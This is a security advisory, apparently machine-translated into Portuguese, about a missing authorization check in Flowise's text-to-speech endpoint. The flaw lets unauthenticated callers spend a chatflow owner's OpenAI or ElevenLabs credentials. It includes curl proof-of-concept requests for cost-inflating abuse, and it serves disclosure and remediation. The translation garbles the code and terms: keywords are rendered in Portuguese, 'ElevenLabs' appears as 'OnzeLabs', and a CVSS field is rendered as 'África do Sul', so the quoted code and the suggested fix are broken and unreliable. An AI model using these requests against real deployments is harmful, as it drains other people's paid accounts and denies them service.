O `/ api/ v 1 O objetivo do /text- to- speech/ generate` está na lista branca (não requer autenticação) e aceita qualquer `chatflowId` sem verificar se o chat flow referenciado é público. Um atacante não autêntico que conhece um fluxo de chat válido UUID pode abusar desse credencial TTS do chatflow (OpenAI ou chave API OnzeLabs) para gerar áudio texto- a- fala ilimitado, incorrendo custos na conta do proprietário do fluxo de chat. O controlador `generar TextoToSpeech` do TTS em `pacotes/server/src/controllers/texto para- fala/index.ts: 10 - 171 ` está listado em ` pacotes/ servidor/ src/ utils/constants.ts: 41 `: ```` tipscript '/api/v 1 /texto para- falar/gerar', ```. Quando um `chatflowId` é fornecido e o usuário não é autentificado (sem `req.user`), o controlador volta a buscar o chatflow sem escopo de espaço de trabalho:.

``` script // pacotes/ server/src/controllers/text- to- speech/index.ts: 36 - 42 if (workspaceId) { chatflow = esperar chatflowsService.getChatflowById(chatflowId, workspaceId) } ou { // Fallback: obter o workspaceId do chatflow quando req.user.activeWorkspaceId não está configurado chatflow = esperar chatflowsService.getChatflowById(chatflowId) // NO isPublic check workspaceId = chatflow.workspaceId } ```` A função `getChatflowById` em `pacotes/server/src/services/chatflows/index.ts: 247 - 272 ` recupera qualquer fluxo de chat por ID quando ` WorkspaceId ' não é fornecido: ````typescript const dbResponse = aguarde appServer.AppDataSource.getRepository(ChatFlow).findOne({ onde: { id: chatflowId,...(workspaceId? { workspaceId }: {}) // Nenhum filtro de espaço de trabalho quando o workspaceId está indefinido } }) ````.

O controlador então extrai a configuração do provedor TTS do fluxo de chat: ``` script // pacotes/ server/src/controllers/text- to- speech/index.ts: 51 - 66 const ttsConfig = JSON.parse(chatflow.textToSpeech) const ativeProviderKey = Object.keys(ttsConfig).find(key => ttsConfig[key].. estatus === true) const providerConfig = ttsConfig[activeProviderKey] provider = ativeProviderCredencialId = providerConfig. credencialId // Extraído do chatflow privado ``` Este `creditalId` é então usado para decriptar e usar os credenciais armazenados (OpenAI ou chave API OnzeLabs) para fazer chamadas API TTS em `pacotes/componentes/src/textoToSpeech.ts: 33 - 34 `:.

```typescript const credentialId = textToSpeechConfig.credentialId como string const credentialData = aguarde getCredentialData(credentialId?? '', opções) ``` Passo ````bash # 1: Conheça um UUID de fluxo de chat que tenha o TTS habilitado (qualquer fluxo de chat, público ou privado) CHATFLOW_ID=" " # Passo 2: Abuse do credencial TTS para gerar áudio sem a autenticação do curl -X POST " 3000 /api/v 1 /texto- para- falar/ gerar" \ -H "Tipo de conteúdo: aplicativo/ json" \ -d '{ "chatflowId": "'${CHATFLOW_ ID}', "chatId": "atacker-chat- 1 ", "chatMessageId": "msg- 1 ", "texto": "Este é um teste de geração de TTS não autorizada usando a chave API de outra pessoa" }'.

# Esperado: devolve o stream SSE com dados de áudio TTS usando as credenciais do dono do chat OpenAI/ElevenLabs # evento: tts_start # data: {"evento":"tts_start","data":{"chatMessageId":"msg- 1 ",, formato":"mp 3 "}} # evento: tts_data # data: {"evento":" tts_data","data":{"chatMessageId":"msg- 1 ",,audioChunk":" "}} # Passo 3: Repita com texto grande para incorrer em custos de curl -X POST " 3000 /api/v 1 /texto- para- falar/ gerar" \ -H "Tipo de conteúdo: aplicativo/ json" \ -d '{ "chatflowId": "'${CHATFLOW_ ID}', "chatId": "atacker-chat- 2 ", "chatMessageId": "msg- 2 ", "texto": "'$(python 3 -c "imprimir('A' * 4096 )")'" }' ``` - ** Impacto financeiro**: Um atacante pode gerar áudio TTS ilimitado usando as credenciais API OpenAI ou OnzeLabs do dono do chat, incorrendo em custos potencialmente significativos. O OpenAI TTS custa ~$ 15 / 1 Caracteres M; um atacante pode gerar grandes volumes de áudio. - **Abuso de Credenciais**: O atacante ganha efetivamente acesso indireto às credenciais da API armazenadas sem precisar autenticar ou ter quaisquer permissões. As credenciais não são diretamente expostas, mas são usadas em nome do atacante. - **Denial of Service**: Ao exaustar a quota/orçamento da API do credencial, o atacante pode negar o serviço aos usuários legítimos do fluxo de chat. - **Afeta fluxos de chat privados**: Esta vulnerabilidade afeta todos os fluxos de chat com o TTS configurado, incluindo aqueles explicitamente marcados como privados (` isPublic: false`).

1. Verifique `isPublic` antes de permitir a geração de TTS não autenticada. ``` typescript // packages/ server/ src/ controllers/text- to- speech/ index.ts if (chatflowId) { deixe o chat fluir; deixe o workspaceId = req. user?. activeWorkspaceId; if (workspaceId) { chatflow = aguarde chatflowsService.getChatflowById(chatflowId, workspaceId) } outra coisa { chatflow = aguarde chatflowsService.getChatflowById(chatflowId) // Verifique se o chatflow é público antes de usar suas credenciais se (!chatflow.isPublic) { lance novo InternFlowiseError( StatusCodes.UNAUTHORIZED, 'Geração de TTS requer autenticação para chatflows não públicos' ) } workspaceId = chatflow.workspaceId } //... resto da função } `````.

2. Considere a aplicação de uma taxa limitando- se ao objetivo TTS para evitar abusos mesmo para fluxos de chat públicos. Registro de aconselhamento: GHSA- 8 gj 2 - 2 cvc- 6 xx 7. Não há nenhum identificador adicional listado.

Tempo: GitHub Advisory Database publicou este registro em 2026 - 08 - 04 T 19: 19: 44.000 Z e lista a sua última modificação como 2026 - 08 - 04 T 19: 19: 44.000 Z. Gravidade: MODERAR. Dados de pontuação publicados: CVSS_V 4: CVSS: 4.0 /AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/África do Sul:N.

Informações sobre software e versão afetadas: fluxo do pacote npm — ECOSISTEM: introduzido 0, corrigido 3.1.4. Classificação e evidência: identificadores de fraqueza CWE- 862. O registro contém 5 suporte de referências nestes tipos: WEB, PACKAGE.